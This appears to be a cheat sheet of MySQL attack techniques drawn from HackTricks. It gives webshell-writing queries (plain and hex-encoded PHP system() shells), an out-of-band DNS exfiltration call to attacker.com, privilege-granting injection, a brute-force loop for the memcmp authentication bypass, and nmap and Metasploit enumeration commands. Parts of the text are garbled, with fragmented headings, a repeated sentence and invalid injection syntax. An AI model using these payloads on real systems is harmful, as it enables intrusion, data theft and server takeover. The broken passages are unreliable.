If you have FILE and know the web root, you can write a webshell (provided secure_file_priv is not set to a restricted directory).
Example:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
HackTricks Verified Bypass:
If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex:
SELECT unhex('3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e') INTO DUMPFILE '/var/www/html/shell2.php';
Not every HackTricks command works everywhere. Here is the reality check: mysql hacktricks verified
| Technique | Failure Reason | Verified Alternative |
| :--- | :--- | :--- |
| INTO OUTFILE | secure_file_priv is set | Use INTO DUMPFILE in plugin dir |
| LOAD_FILE() | File size > max_allowed_packet | Use LOAD DATA LOCAL INFILE |
| UDF Shell | plugin_dir not writable | Try writing to tmp and restarting MySQL (rare) |
| OOB DNS | Linux doesn't support UNC | Use sys_eval('nslookup data.attacker.com') |
GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password';Example:
http://example.com/vulnerable-page?id=1 UNION SELECT GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' -- -
Affected versions: MySQL 5.0.x – 5.1.63, 5.5.x – 5.5.24, 5.6.x – 5.6.6
Exploit: When memcmp() returns 0, authentication succeeds even with wrong password.
Exploit script (bash): MySQL HackTricks Verified: A Practical Analysis of Attack
for i in `seq 1 1000`; do mysql -u root -pwrong -h target.com -e "select 1" 2>&1; done
~1 in 256 chance of success.
Before exploiting, you must enumerate. Nmap is the standard bearer.
Verified Command:
nmap -sV -sC -p 3306 <target-ip> --script mysql*
What to look for:
mysql -h <target> -u anonymous).Pro Tip: Use Metasploit’s auxiliary scanner for speed.
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/mysql/mysql_login
system (MySQL client only)If you have MySQL command line client access: HackTricks Verified Bypass: If OUTFILE fails due to
system ls -la
\! whoami
Not a remote vulnerability – only works from interactive client session.
UNION SELECT NULL,NULL,NULL -- -Example:
http://example.com/vulnerable-page?id=1 UNION SELECT NULL,NULL,NULL -- -